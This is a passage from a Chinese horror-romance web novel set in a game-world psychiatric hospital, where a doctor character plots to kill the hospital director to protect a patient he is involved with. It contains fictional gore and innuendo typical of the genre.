她将那把沾满了血肉的斧头,随意地扔在了地上,随后转身,迈着僵硬的步伐,消失在了走廊的黑暗之中。 整个过程,被监控摄像头,一帧不差地,完整记录了下来。 画面,到此结束。 电视屏幕,重新归于一片漆黑。 整个活动室,陷入了一片死一般的寂静。 所有玩家的脸上,都写满了无法用语言来形容的恐惧。 他们的脸色,比病院的墙壁还要惨白。 胃里更是一阵翻江倒海。 几个心理素质差的玩家,已经忍不住捂着嘴,发出了干呕的声音。 这就是……违反规则的下场? 这就是……所谓的,“新闻”? 这哪里是什么新闻! 这分明就是一场,毫不掩饰的,血淋淋的死亡警告! 它在用最直观,最残忍的方式,告诉他们每一个人。 不要试图挑战这里的规则。 不要试图,擅自行动。 否则,屏幕里那个被剁成肉酱的玩家,就是他们所有人的,最终结局。 那个叫高飞的男人,此刻也是一脸的煞白。 他看着身边那个,从始至终,都平静得不像话的001号。 他终于明白,为什么这个男人,会在餐厅里,对那个新人,说出那番话了。 原来,他早就看透了一切。 在一片死寂的恐惧中。 肖靳言缓缓从椅子上站了起来。 他甚至还伸了个懒腰,活动了一下自己因为久坐而有些僵硬的身体。 那副悠闲的姿态,与周围那些噤若寒蝉的玩家,形成了无比鲜明,又无比刺眼的对比。 他转过身,径自朝着活动室的门外走去。 那背影,孤傲强大,又充满了让人无法理解的……某种自信。 …… 中控室里。 宿珩安静地坐在那面巨大的屏幕墙前。 他看着“001”号的监控画面里,肖靳言悠闲地走在惨白的走廊上,最终回到了自己的病房。 宿珩的指尖,在控制台上,轻轻敲了敲。 刚才那段血腥的录像,是他从病院资料库里,特意找出来的,上一个试图逃跑的玩家的“死亡记录”,借此威慑所有玩家。 这是他的工作内容之一。 但就在这时。 他口袋里的一个特制的,用来内部通讯的对讲机,忽然响了起来。 “滋啦——” 一阵电流声后。 院长那诡异的,雌雄莫辨的沙哑声音,从里面传了出来。 “宿医生。” “刚才的新闻节目,效果很不错。” “病人们,看起来会安分不少。” “不过……” 院长的声音,顿了顿,话锋一转。 “我还是觉得,对于某些‘特殊’的病人,仅仅是这种程度的警告,是远远不够的。” “尤其是……那个001号。” “他的病情,似乎比我们想象中,还要更加棘手。” “我建议。” “明天,可以对他,进行一次……更彻底,更深入的,‘手术治疗’。” 院长特意加重了“手术治疗”的语气,宿珩甚至能听出他尾音中的激动和兴奋。 显然……院长被肖靳言勾起了强烈的兴趣。 宿珩刚想开口。 却听到院长声音变了调,显得极其迫不及待。 “并且由我亲自主刀,你觉得呢,宿医生?” 第108章 第 108 章 世界的悲鸣15 不等宿珩找到一个万无一失的理由来拒绝。 对讲机里, 已经传来了院长那带着一丝病态亢奋的自言自语。 “哦,对了……我得去准备一下我那些可爱的小工具了……” “对付那样的‘病人’,普通的器械可不行……” “得用我专门收藏的那一套才行……” “滋啦——” 伴随着一阵刺耳的电流杂音, 对讲机被对方单方面掐断了。 中控室里重新恢复了那片令人窒息的死寂。 宿珩依旧维持着那个坐姿,一动不动。 那只搭在控制台上的手,指节却因为过度用力而根根泛白, 手背上青色的血管隐隐凸起。 一股几乎要将他理智彻底焚毁的怒火,从他的心底轰然窜起。 他很想将手里那个特制的对讲机,狠狠砸向面前那面巨大的屏幕墙。 但他不能。 他强迫自己做了一个深呼吸, 将那股几乎要冲破喉咙的杀意, 硬生生压了下去。 院长对肖靳言, 表现出了毫不掩饰的病态占有欲。 这种兴趣,就像一只肮脏的手, 触碰到了宿珩内心深处,那块唯一不容任何人觊觎的绝对领域。 让他感到了前所未有的,生理性的恶心与不适。 宿珩缓缓站起身。 他离开了这个充满了冰冷电子气息的中控室,迈开长腿回到了三楼自己那间专属的办公室。 “咔哒”一声, 他将门反锁。 空荡荡的办公室没有丝森*晚*整*理毫生气, 整个世界仿佛都只剩下他一个人。 他走到那张由不锈钢打造的办公桌前, 安静地坐下。 然后, 他拉开了右手边最下面的那个抽屉。 抽屉里,并没有存放什么文件或者病例。 而是一整套, 用黑色天鹅绒包裹着的,散发着森然寒气的手术刀具。 宿珩将那套刀具取了出来, 平铺在冰冷的桌面上。 一共十二把。 每一把的形状,大小,弧度, 都各不相同。 刀锋在灯光的照射下,反射出流水般冰冷刺眼的光。 锋利到仿佛能切开时间。 他拿起其中一把柳叶状的手术刀,放在指尖轻轻转动。 冰冷的金属紧贴着他指腹皮肤。 宿珩的脑海里,开始不受控制地浮现出院长那张,画着永恒笑容的小丑面具。 他开始思考。 如果用这把刀,精准地划开那张面具。 面具下……会是一张什么样的脸? 如果用这把刀,沿着那人脖颈处颈总动脉的位置,轻轻地划下去。 那张滑稽的笑脸,是不是还能保持住那副可笑的弧度? “手术治疗”这个词,在这一刻,被赋予了全新的,充满了血腥与杀戮的含义。 宿珩就这么在办公室里,安静地坐着。 时间一分一秒在死寂中流逝。 他像一尊没有生命的,由冰雪雕琢而成的完美雕塑。 直到深夜。 窗外那片荒芜的庭院,彻底被浓郁如墨的黑暗所吞噬。 整个病院,都陷入了一种比白日更加深沉压抑的诡异寂静。 就在这时。 一阵刻意压抑着的仓皇脚步声,从办公室外的走廊上响了起来。 紧接着。 响起了一种沉重的声音,像是某种带着金属质感的物体,在地面上拖拽着前行 “嘶啦……嘶啦……” 那声音,缓慢而执着。 像死神的镰刀,在地面上划出的死亡预告。 宿珩的眼睫微微动了一下。 他没有起身,也没有去看。 他知道,不可能所有的玩家都会被吓住,总会有按捺不住的“病人”,在看完那场“新闻”之后,依旧选择了挑战这个病院的规则。 但这也是没办法的事情。 外面的脚步声越来越近,也越来越慌乱。 那个“病人”似乎已经察觉到了自己身后,那如影随形的致命危险。 他开始狂奔。 可他身后的那个拖拽声,却依旧保持着那种不紧不慢的,仿佛带着某种诡异韵律的节奏。 永远,都只与他,相隔着一个固定的,让人绝望的距离。 终于。 就在宿珩那间办公室的门口。 “扑通——” 一声闷响。 那个奔跑的“病人”,似乎是体力耗尽,重重地摔倒在了地上。 他摔倒的位置,离宿珩的门,不过一步之遥。 几乎是在他摔倒的瞬间。 那个沉重的拖拽声,也在门口戛然而止。 死寂。 一段长达数秒的,令人头皮发麻的死寂。 然后。 “啊——!” 一声划破了整个深夜的,凄厉到不似人声的惨叫,从门外猛地爆发开来。 但惨叫声只持续了一瞬,随后便被一声沉闷的,利器劈砍进□□里的声音,给硬生生打断了。 “噗嗤——!” 紧接着。 斧头不断剁砍骨肉的沉闷声响,便一下接着一下地,在走廊里疯狂地回荡起来。 “噗嗤!” “噗嗤!” “噗嗤!” 宿珩安静地坐在办公桌后。 他甚至能感觉到,那每一次的重击,都让脚下的地面,产生了一丝极其细微的震动。 一股浓郁的,带着铁锈味的血腥气,开始从门缝底下,一点一点地渗透进来。 一缕鲜红的粘稠液体,像一条有了生命的毒蛇,悄无声息从门缝下蜿蜒着爬了进来,将办公室里那片纯白的地砖,染上了一抹刺眼的猩红。 宿珩看着那抹越来越大的血迹,不由皱了皱眉。 他对着门外,淡淡地开口:“处理干净。” 门外的剁砍声猛地一顿。 紧接着,一个闷声闷气的,仿佛喉咙里塞满了棉花的机械声音,恭敬地回应道。 “好的,宿医生。” “我马上就好。” 话音落下。 门外那剁砍的声音,变得比刚才更加快速,也更加疯狂,像一台失控的,正在疯狂绞肉的机器。 许久之后。 那声音,终于停了下来。 一阵像拖拽破麻袋的沉重声音渐渐远去。 走廊,再次恢复了那片死一般的寂静。 只有门缝下那摊,已经开始凝固的暗红色血迹,在无声地证明着,刚才这里,发生了一场何等残忍的血腥屠杀。 …… 与此同时。 编号001的单人病房里。 肖靳言正安静地躺在那张冰冷的铁床上,双手悠闲地枕在脑后。 他的姿态放松到了极致,与这个副本里,那股压抑到令人发疯的诡异氛围,显得格格不入。 他能清晰地听到,隔壁几个病房里,传来的各种细碎的动静。 有玩家在用某种道具,试图腐蚀坚固的门锁。 有玩家在低声地,和其他人交换着情报。 还有玩家,在绝望地用指甲疯狂地抓挠着墙壁,发出令人牙酸的“沙沙”声响。 深夜,是恐惧滋生的温床,也是求生欲爆发的时刻。 几乎所有的玩家,都在用自己的方式,争分夺秒地寻找着逃离这个地狱的线索。 如果换作以前的肖靳言。 他恐怕早就是第一个,踹开这扇薄薄的铁门,将整个病院搅个天翻地覆的人了。 但现在…… 肖靳言缓缓睁开眼。 他没有去看那扇禁锢着他的铁门,也没有去听周围那些玩家徒劳的挣扎。 他的视线,再一次落在了房间角落里,那个闪烁着微弱红光的监控摄像头上。 隔着冰冷的镜头,他仿佛能看到镜头后面,那双他再熟悉不过的,总是覆盖着一层冰霜的清冷眼眸。 一想到他在为如何处理自己这个“棘手的病人”,而感到头疼。 肖靳言的嘴角,就无声地向上勾起了一个微小的弧度。 他很享受这种感觉。 享受这种,将那个总是高高在上的,清冷禁欲的宿医生,一点一点拉下神坛的感觉。 肖靳言又一次不受控制地,响起在那个冰冷的诊疗室里发生的一切。 虽然身体被药物麻痹,动弹不得。 但他的精神力,却像一台最高精度的摄像机,将每一个细节,都分毫不差地,烙印在了灵魂深处。 他记得,那只没有戴手套的,带着凉意的手,是如何在他身上,带着克制的颤抖,游移探索。 他记得,那个总是挺得笔直纤瘦的脊背,是如何在他的“注视”下,弯曲成了一个脆弱而优美的弧度。 他更记得,那个人在彻底失控的瞬间,从喉咙深处泄露出的,那一声压抑到极致的,带着哭腔的呜咽。 那声音,像一根滚烫的针,瞬间刺穿了他所有的防御。 让他那颗自以为淬炼得坚不可摧的心脏,第一次,体会到了一种名为“心疼”的,陌生的情绪。 他想将那个人,狠狠地揉进自己的骨血里。 也想…… 让他哭得更厉害一点。 矛盾的,疯狂的,几乎要将他理智撕裂的念头,在他的脑海里,疯狂地交织,碰撞。 原来。 所谓的“B级治疗方案”,是这个样子的。 下一次什么时候能来呢? 肖靳言的眼底,闪过了一丝充满了期待的暗色。 …… 第二天,清晨。 天色,依旧是那种灰蒙蒙的,看不见一丝阳光的阴沉。 病院里那阵沉闷的钟声,准时在七点整,响彻了每一个角落。 “咚——咚——咚——” 例行查房的时间到了。 走廊上,响起了整齐划一的,僵硬的脚步声。 那些面无表情的木偶护士,开始挨个打开病房的门,将所有“病人”,都驱赶到了一楼的大厅里。 和昨天一样。 宿珩穿着那件一尘不染的白大褂,安静地站在讲台上。 他的脸上,依旧是那副公事公办的,疏离冷漠的表情,仿佛昨天下午那场失控的“治疗”,根本没有发生过。 但如果仔细看,便能发现。 他那总是抿成一条直线的薄唇,颜色比昨天,更淡了几分。 眼下那圈淡淡的青色至今还没消退。 宿珩的视线,从台下那些噤若寒蝉的玩家脸上一一扫过。 他注意到,玩家的数量,比昨天少了好几个。 而剩下的这些人,脸上也都带着不同程度的恐惧与失望。 只有一个人依旧是那副气定神闲的姿态。 宿珩的目光,在扫过第一排那个熟悉的身影时,几不可察地停顿了一瞬。 肖靳言正靠在椅子上。 他微微仰着头,那双深不见底的黑眸,正一眨不眨地迎着他的视线。 那眼神里,没有了昨天的挑衅与玩味。 取而代之的,是一种更加内敛,也更加危险的审视。 他甚至还冲着宿珩,极其细微地舔了舔自己的嘴唇。 那动作,带着一种毫不掩饰的,充满了暗示意味的……回味。 仿佛在说:昨天的“治疗”,我很满意。 宿珩的太阳穴,又开始一抽一抽地,剧烈地跳动起来。 他几乎是立刻就移开了视线。 “例行查房,现在开始。” 宿珩强迫自己,用那种毫无感情的语调,说出了和昨天一模一样的开场白。 然后,他迈开长腿,从讲台上走了下来。 混合着消毒水与福尔马林的冰冷气息,再一次,笼罩了整个大厅。 他从那些紧张到几乎无法呼吸的玩家面前,一个一个地走了过去。 这一次。 他没有在任何人面前停留。 甚至没有再多看肖靳言一眼。 他就那么面无表情地,在所有病人面前,绕了一圈。 然后,便径直走回了讲台上。 那副姿态,冷漠到了极致。 仿佛在刻意地,与那个001号病人,划清界限。 “查房结束。” 宿珩的声音,通过麦克风,平淡地响起。 “今天的治疗方案,有所调整。” 他一边说着,一边从身后的文件夹里,抽出了一张新的日程表。 “早上八点,集体心理疏导,取消。” “改为,自由活动时间。” “在此期间,你们可以在病院的一楼和二楼,自由行动。” “但,绝对禁止,进入任何标记着‘禁止入内’的区域。” “更不准,试图破坏病院的任何设施。” “否则,后果自负。” 宿珩的这番话一出口。 台下那些原本已经绝望的玩家,瞬间都愣住了。 自由活动? 他们没有听错吧? 在这个处处都是死亡陷阱的A级副本里,BOSS居然会大发慈悲地,给他们自由活动的时间? 这简直是不可思议! 短暂的震惊过后。 狂喜瞬间席卷了每一个玩家的心头。 这意味着,他们终于有机会,可以主动去寻找,关于这个副本更多的线索了! 而不是像一只被关在笼子里的老鼠一样,只能被动地,等待着死亡的降临。 几乎所有的玩家,脸上都露出了劫后余生般的激动表情。 他们开始交头接耳,压低了声音,兴奋地讨论着,该如何利用这宝贵的自由时间。 只有肖靳言。 依旧靠在椅子上,一动不动。 他的眉头,几不可察地轻轻蹙了一下。 自由活动? 副本这是在玩什么? 宿珩感觉到了肖靳言那道疑惑的视线。 他清了清嗓子,继续用那种平直的语调,宣布着接下来的安排。 “上午十点。” “001号病人,请准时到四楼手术室。” “院长将亲自,为你进行,A级手术治疗。” 这句话,像一颗重磅炸弹,瞬间在整个大厅里,轰然炸开。 院长? A级手术治疗? 那是什么?! 刚刚才因为“自由活动”而燃起一丝希望的玩家们,脸上的喜悦,瞬间凝固了。 取而代之的,是比之前,更加深沉的恐惧。 他们纷纷用一种,既同情,又幸灾乐祸的复杂眼神,看向了那个坐在第一排的001号。 这家伙,终于还是玩脱了。 竟然把这个副本里那个只存在于隐藏副本剧情里的神秘院长,都给招惹出来了。 A级……手术治疗。 光是听听这个名字,就足以让人不寒而栗。 所有人都几乎可以预见到。 001号恐怕是凶多吉少了。 然而。 出乎所有人意料的是。 作为当事人的肖靳言,在听到这个“噩耗”时,脸上短暂的错愕后,立即恢复了正常。 反而对着宿珩缓缓露出了一个极其灿烂的笑容。 那笑容里,带着一丝了然,一丝玩味。 以及一丝……毫不掩饰的,兴奋与期待。 肖靳言看着讲台上那个,终于肯抬起头看向自己的男人,用口型,无声地对他说出了两个字。 “等着。” 宿珩瞳孔骤然一缩。 他当然看懂了那两个字的意思。 也看懂了,肖靳言那眼神里,对这场“手术治疗”的变/态期待。 这个疯子…… 他以为,这所谓的“手术治疗”,还是昨天那种,他可以掌控的……“治疗”吗?! 宿珩略感无语,很想冲下台对着他那张欠揍的脸踹上一脚。 但他必须承认,院长的存在完全脱离了他的掌控,一种从未有过的恐慌逐渐席卷了他的全身。 他必须做点什么。 他必须,在十点之前,阻止这场“手术”的发生。 否则…… 宿珩不敢再想下去。 “解散。” 宿珩几乎是咬着牙,从喉咙里,挤出了最后两个字。 然后,他便头也不回地,转身走进了讲台后面那扇专属的小门。 大厅里,玩家们如同得到了赦免令的囚徒,瞬间作鸟兽散。 他们三三两两地聚集在一起,压抑着兴奋与激动,开始规划起这来之不易的自由活动时间。 一楼大厅的每一个角落,二楼的每一条走廊,都可能隐藏着通往生路的蛛丝马迹。 没有人注意到,那个被宣判了“死刑”的001号病人,并没有像他们一样,急于去探索。 肖靳言依旧坐在那张属于他的,第一排最中心的位置上,一动不动。 他没有去看那些匆匆离去的玩家背影。 他只是抬着头,那双深邃的,仿佛能洞穿一切的眼眸,穿过空旷的大厅,精准地落在了讲台后方那扇专属于宿医生的小门上。 门,已经关上了。 但肖靳言仿佛能透过那扇冰冷的门板,看到门后那个男人,此刻略显仓皇的紧绷背影。 A级手术治疗。 由院长亲自主刀。 肖靳言将这几个字,在舌尖上不紧不慢地咀嚼了一遍。 他能清晰地感觉到,宿珩在说出这句话时,那平稳声线之下,所极力压抑着的,一丝极其细微的颤抖。 他在怕什么? 怕自己被那个所谓的院长,“治疗”致死? 明明是死亡倒计时,可肖靳言嘴角却弯起了一抹弧度。 原来,他也会害怕啊? 宿医生会因为自己的生死,而感到……恐惧吗? 这可比昨天那场疯狂的“B级治疗”,更能让肖靳言感到一种……发自灵魂深处的极致愉悦。 肖靳言缓缓站起身,然后朝着大厅外那条惨白的走廊走去。 他没有去一楼那些贴满了各种诡异规则的布告栏。 也没有去二楼那些传说中闹鬼的废弃病房。 他的目标,从始至终,都只有两个。 三楼。 宿珩的办公室。 以及……那个即将为他进行“A级手术治疗”的四楼手术室。 …… 另一边,宿珩回到自己的办公室。 他反手将门关上,走回桌后缓缓坐下。 犹豫半晌后,他再一次拉开了右手边最底层的那个抽屉。 那整套用黑色天鹅绒包裹着的手术刀具,散发着森然寒气。 宿珩甄选了片刻,从那十二把形状各异的刀具中,取出了那把最锋利的柳叶状手术刀。 刀锋薄如蝉翼,在灯下闪烁着一种近乎于透明的冷光。 他将那把刀小心翼翼地,揣进了自己白大褂宽大的衣袖里。 冰冷的金属,隔着一层薄薄的布料,紧贴着他手臂的皮肤,像一条蓄势待发的剧毒银蛇。 杀了院长。 这是宿珩此刻脑海里,唯一剩下的,也是最清晰的一个念头。 只有杀了那个潜藏在幕后的,真正的疯子,才能一劳永逸地,解决掉所有的麻烦。 才能…… 保护好肖靳言。 可理智却像一盆冰水兜头浇下,让他那股几乎要烧毁一切的冲动,稍稍冷却了几分。 不能直接去。 院长是这个副本里的隐藏BOSS,优先级比他还高,处于副本中绝对支配地位的存在。 他的能力,他的弱点,所有的一切,都是未知的。 贸然行动,不但杀不了他,反而会把自己,和肖靳言,一同拖入万劫不复的深渊。 必须……找到一个万无一失的机会。 一个可以绝对近身,并且……一击毙命的机会。 宿珩的指尖,在桌面上无意识地轻轻敲击着。 他的大脑,在巨大的压力之下,开始以一种超乎寻常的速度,飞快地运转。 他开始分析,推演,计算着每一种可能性。 几分钟后。 宿珩敲击桌面的手指,猛地一顿。 他想到了。 想到了唯一一个,可以在那个疯子毫无防备的情况下,接近他的方法。 想到这,宿的全身上下每一根神经都因为极致的厌恶而绷紧。 他拿出那个特制的,用来内部通讯的对讲机。 他的指尖,在呼叫院长的那个按钮上,停留了许久。 最终,他还是深吸一口气,用力按了下去。 “滋啦——” 一阵短暂的电流声后。 对讲机里,立刻传来了院长那带着一丝病态亢奋的,雌雄莫辨的沙哑声音。 “宿医生啊?” “有什么事吗?” 那声音里的恶意与玩味,几乎要化为实质,从对讲机里渗透出来,令人作呕。 宿珩握着对讲机的手,指节因为用力而微微泛白。 他强迫自己,忽略掉心底那股强烈的生理性不适。 “院长。” 他的声音,听起来,依旧是那么的冷静,平直,不带一丝一毫的私人感情。 “关于001号病人的A级手术治疗。” “我请求,担任您的助手。” 对讲机那头,陷入了一阵短暂的沉默。 宿珩甚至能听到,院长那压抑在面具之下的,轻微的呼吸声。 “哦?” 半晌,院长才发出了一声意味深长的,拖长了语调的感叹。 “给我一个理由,宿医生。” “为什么要主动申请,参与这次的‘手术治疗’?” “因为,我是001号病人的主治医师。” 宿珩的回答,几乎是脱口而出,没有半分的犹豫。 这个理由,他早就在脑海里,演练了无数遍。 “从他入院开始,他的所有病情资料,治疗方案,以及每一次的治疗反应,都由我一人负责。” “我比任何人,都更熟悉他的‘病情’。” “也更清楚,他的身体,能承受的极限在哪里。” “由我来担任您的助手,可以最大程度上,保证这次‘手术治疗’的顺利进行。” “也可以……避免因为某些意外,而导致我们……失去这个珍贵的,独一无二的‘藏品’。” 宿珩的每一个字,都说得极其冷静、客观。 那副公事公办的,纯粹从“研究”角度出发的论调,听起来天衣无缝。 果然。 对讲机那头,传来了院长一声满意的笑声。 “哈哈……说得对!说得对!” “不愧是我最看好的宿医生,就是比那些没脑子的护士,想的要周到得多!” 院长的声音里,充满了毫不掩饰的欣赏与兴奋。 “我同意了!” 他欣然应允。 “那么,十点整。” “请宿医生,准时把我们珍贵的001号病人,带到四楼的手术室来。” “我已经等不及,要让他好好体验一下,我为他准备的,许多……有趣的治疗方案了。” 院长特意加重了“有趣”这两个字的读音。 那声音里,透出的那种,对于即将到来的血腥与折磨的,极致的期待与亢奋,让宿珩的胃里一阵翻江倒海。 “好的,院长。” 他从牙缝里,挤出了最后四个字。 “滋啦——” 对讲机被对方单方面掐断。 宿珩的身体,在通话结束的瞬间,控制不住地微微颤抖了起来。 他缓缓放下手里的对讲机。 额头上,已经渗出了一层细密的汗珠。 袖子里那把柳叶刀的刀柄,几乎要被他的皮肤活活焐热。 他必须忍耐。 在十点之前,他必须将自己所有的杀意与憎恶,都伪装得天衣无缝。 否则,功亏一篑。 就在这时。 “咚,咚,咚。” 一阵不紧不慢的,甚至带着几分随意的敲门声,从门外响了起来。 这声音,与这个病院里,所有的一切,都显得格格不入。 宿珩猛地抬起头。 他当然知道来人是谁。 也只有肖靳言,敢在这种所有玩家都如惊弓之鸟的关头,如此肆无忌惮地来敲响他办公室的门。 宿珩闭了闭眼,强行将自己所有的情绪,都重新压回了那副冰冷的面具之下。 “请进。” 他开口,声音已经恢复了那种不带任何温度的,平直的语调。 “咔哒”一声。 办公室的门,被人从外面轻轻推开了。 果然。 来人是肖靳言。 他双手插在病号服的口袋里,迈着悠闲的步伐走了进来。 他的脸上,甚至还带着一丝懒洋洋的,仿佛刚刚睡醒的笑意。 看到宿珩的那一瞬,他倏地捂住了自己的心脏,装得极为柔弱可怜。 他睁着黑沉的眸子,对宿珩说:“宿医生,我的心跳得很厉害,可能是紧张接下来的“手术”,你能帮我看看吗?” 第109章 第 109 章 世界的悲鸣16 宿珩当然知道。 肖靳言这是在故意找存在感。 在这种剑拔弩张, 生死一线的紧要关头,也只有这个男人,还能有如此恶劣的闲情逸致。 换作平时, 宿珩或许会直接用一句“滚”,来回应他这种不知死活的挑衅。 但现在…… 看着肖靳言那张故作可怜,眼底却盛满了浓郁兴味的脸。 宿珩那颗被愤怒与杀意搅成一团乱麻的心, 竟然奇迹般地,寻回了一丝摇摇欲坠的冷静。 他不能乱。 至少,在肖靳言的面前, 不能。 他必须维持住“宿医生”这副无坚不摧的, 冰冷的伪装。 “过来。” 宿珩从喉咙里, 挤出了两个字。 声音依旧是平的,听不出任何情绪。 听到这个回答, 肖靳言眼底的笑意,瞬间加深了。 他捂着自己那颗“跳得厉害”的心脏,迈着悠闲的步子,一步一步走到了宿珩的办公桌前。 他没有等宿珩发话。 而是极其主动地伸出手, 开始解自己身上那件单薄病号服的扣子。 一颗。 又一颗。 那动作, 不紧不慢, 带着一种近乎于表演的, 刻意的从容。 仿佛他解开的,不是什么廉价的病号服。 而是一件, 即将要在最亲密的爱人面前,展示的华丽礼服。 随着最后一颗扣子被解开。 那片充满了力量感的, 线条流畅的健硕胸膛,便毫无保留地暴露在了办公室这片惨白的灯光之下。 古铜色的肌肤上,还残留着一些因为昨晚那场疯狂“治疗”而留下的极其细微的淡淡红痕。 那是他用尽全力, 才克制住自己,没有在那具身体上留下任何明显印记的……唯一证据。 宿珩的呼吸,几不可察地停滞了一瞬。 他几乎是下意识地,想要移开自己的视线。 可肖靳言,却根本不给他这个机会。 男人伸出手指,点了点自己左胸口,那个正随着呼吸,而平稳起伏着的位置。 “这里。” 他的声音,压得很低,带着一丝故意的,引诱的沙哑。 “宿医生。” “你听听。” “它是不是紧张得快要跳出来了?” 宿珩的视线,被迫落在了他指着的位置。 心脏。 那个即将要被送上手术台,被另一个疯子用各种冰冷器械,肆意剖开的地方。 一股尖锐的,几乎要刺穿他耳膜的刺痛,猛地从宿珩的太阳穴,炸裂开来。 袖子里那把柳叶刀的刀柄,被他的肌肤攥得滚烫。 “别动。” 宿珩开口,声音里带着一丝他自己都没有察觉到的沙哑。 他强迫自己站起身,绕过办公桌走到了肖靳言的面前。 他没有立刻做什么。 而是转过身,从身后墙壁上挂着的一个医疗器械架上,取下了一副听诊器。 金属的听头在灯光下反射出比他眼神,还要冷上三分的光。 宿珩将听诊器的两只耳塞,塞进了自己的耳朵里。 这个动作,像一个充满了仪式感的开关,瞬间将外界所有的杂音,都彻底隔绝。 也让他,重新变回了那个,冷静客观专业的“宿医生”。 宿珩拿着听诊器,重新转回身,垂眼看着肖靳言那片充满了雄性荷尔蒙气息的胸膛。 然后伸手将金属听头直接按在了肖靳言心脏的位置。 “嘶——” 冰冷的器械,骤然接触到滚烫的皮肤。 那种极致的温差所带来的强烈刺激,让肖靳言忍不住,发出了一声极其轻微的抽气声。 宿珩没有理会。 他只是闭上眼,将所有的注意力,都集中到了自己的听觉上。 “咚……咚……咚……” 一阵强劲有力的,沉稳规律的心跳声,通过冰冷的听诊器,清晰无比地传进了他的耳朵里。 那声音,和他记忆中,在诊疗室里听到的,那种因为极致的感官冲击,而剧烈到几乎要破体而出的心跳声,截然不同。 此刻的这颗心脏,健康得……简直不像话。 根本没有任何问题。 一切,都只是这个混蛋,在演戏。 而自己……居然还配合着他。 宿珩抬起头,正对上了一双藏着浓烈笑意的黑沉眸子。 四目相对。 看着眼前这张,近在咫尺的,写满了“我就是在耍你”的欠揍的脸。 看着他那双,即便身处绝境,也依旧亮得惊人,仿佛盛满了整片宇宙的眼眸。 宿珩那颗一直被巨大的恐惧与愤怒,反复拉扯撕裂的心脏。 竟然…… 莫名地,感到了一丝……轻松。 一种极其荒谬的,仿佛在刑场上,听到了一个冷笑话的,诡异的轻松感。 他甚至…… 有点想笑。 这个念头,就像一颗不受控制的,从地底深处冒出的气泡。 在他反应过来之前,就已经悄无声息地浮上了水面。 一丝极其细微的,几乎无法被捕捉的笑意,就像一片被微风吹皱的湖水,轻轻地掠过了他那总是紧绷着的眉梢。 虽然只有短短的一瞬。 短到连他自己都几乎没有察觉。 但还是,被那双一直死死锁定着他的,猎鹰般的眼睛,给精准地捕捉到了。 “宿医生。” 肖靳言看着他,忽然开口。 声音里,带着一丝发现了新大陆般的愉悦与满足。 “你刚刚,笑了。” 他用的是陈述句。 那语气,笃定得不容任何反驳。 闻言,那丝刚刚才冒出头的笑意,瞬间被宿珩用强大的意志力,给硬生生掐死,重新按回了那片冰冷的海底。 他猛地抽回了手里的听诊器。 金属的听头,因为他这个用力的动作,在肖靳言的胸口,划出了一道极浅的,冰冷的红痕。 “你看错了。” 宿珩转过身,将听诊器重新挂回了墙上。 他的声音,恢复了那种绝对的,不带任何感情的冰冷。 那副姿态,像是在极力地掩饰着什么。 肖靳言没有再继续这个话题,而是慢条斯理地将自己病号服的扣子,一颗一颗地重新扣好。 整理好衣服后,他才重新开口,声音恢复了平时的沉稳。 “宿医生。” 肖靳言看着那个依旧背对着自己的,纤瘦而笔直的背影,忽然问道。 “院长给我安排的手术治疗。” “你会来吗?” 宿珩的肩膀微微一僵。 他没有立刻回答,只是安静地站在那里,沉默了足足有十几秒。 就在肖靳言以为他不会回答的时候。 宿珩终于开口了,“嗯。” 他从喉咙里,发出一个极其简短的音节。 “我是他的助手。” 声音依旧是那么的冷漠。 仿佛他即将要参与的,不是一场针对肖靳言的,血腥残忍的酷刑。 而只是一次,再正常不过的,需要他从旁协助的学术研究。 听到这个回答。 肖靳言脸上那抹玩味的笑容,缓缓地收敛了起来。 取而代之的,是一种宿珩看不懂的深沉。 “是吗?” 他轻声说道,“那我就放心了。” 宿珩的眉头,因为他这句没头没尾的话,而不受控制地,狠狠一跳。 放心了? 他放心什么? 放心自己会像昨天那样? 还是…… 放心自己,不会眼睁睁地看着他,被另一个疯子,彻底毁掉? 宿珩不解。 可肖靳言只是耸了耸肩,他没有再多说一个字,也没有再多停留一秒。 他转过身,径自朝森*晚*整*理着办公室的门外走去。 “咔哒。” 门,被轻轻地关上。 整个巨大的办公室里,重新只剩下宿珩一个人。 还有空气里,那股尚未完全消散的,属于另一个男人的,充满了侵略性的气息。 宿珩看着那扇紧闭的门,眼底翻涌着比以往任何时候,都要更加复杂,也更加混乱的情绪。 他沉默地取出藏在衣袖里的手术刀。 刀刃锋利到足以在一瞬间,切开最坚韧的皮肉,割断最粗壮的血管。 “那我就放心了……” 肖靳言那句充满了暗示意味的话,开始不受控制地,在他的脑海里反复地回响。 宿珩的瞳孔骤然一缩。 难道…… 肖靳言他…… 已经猜到了? 猜到了自己,真正的意图? 猜到了自己,会以“助手”的名义,接近院长。 然后,在手术台上。 用这把刀,杀了那个疯子? 这个念头,让宿珩的呼吸,都为之一窒。 他觉得荒谬。 却又觉得…… 这似乎,是唯一一个,能够合理解释肖靳言那句“放心了”的理由。 一直以来,他和肖靳言都有着无法形容的默契。 有的人就是这样,天生契合。 他甚至什么都不用说。 什么都不用做。 肖靳言,就已经看透了一切。 并且,选择了,用他自己的方式,来配合自己完成这场充满了未知与危险的……豪赌。 他将自己的性命,当成了赌桌上,最重要的那张底牌。 然后,毫不犹豫地交到了自己的手上。 想明白这一切的瞬间。 宿珩那颗一直被冰冷与理智,层层包裹着的心脏,像是被什么东西,狠狠地烫了一下。 …… 上午十点整。 沉闷的钟声再一次响彻了整座病院。 这一次,它不再是任何活动的开始信号。 而是一场死亡审判的开场曲。 宿珩推开了自己办公室的门,迈步走了出去。 肖靳言不紧不慢地跟在宿珩身后。 两人谁都没有说话,只是沉默地一直走到走廊尽头,看到一扇上了锁的沉重铁门。 从这里上去,就是整个病院,最神秘,也最危险的禁区。 四楼。 宿珩取出钥匙打开了门锁,在刺耳的金属摩擦声中,推开了那扇门。 似乎是揭开了某种结界。 门开的一瞬间,一股比楼下,更加浓郁,也更加阴冷的味道,混合着福尔马林与血腥气,瞬间扑面而来。 宿珩不禁皱了皱鼻子。 楼道里一片漆黑。 只有头顶那盏接触不良的白炽灯,在“滋啦滋啦”地闪烁着微弱的光。 宿珩率先迈开脚步,向上走去。 肖靳言跟在他的身后,视线越过宿珩纤瘦的肩膀,落在了他那只垂在身侧的手上。 那只手,正微微蜷缩着。 指节也绷得很紧。 肖靳言的眼底,闪过了一丝了然的暗色。 他是在为自己感到紧张。 很快。 两人便走到了四楼的平台。 与楼下那惨白的,如同囚笼般的装修风格不同。 四楼的墙壁,被粉刷成了一种,极其诡异的暗红色。 灯光也比楼下要昏暗得多。 空气里,那股令人作呕的血腥味,几乎要凝结成实质。 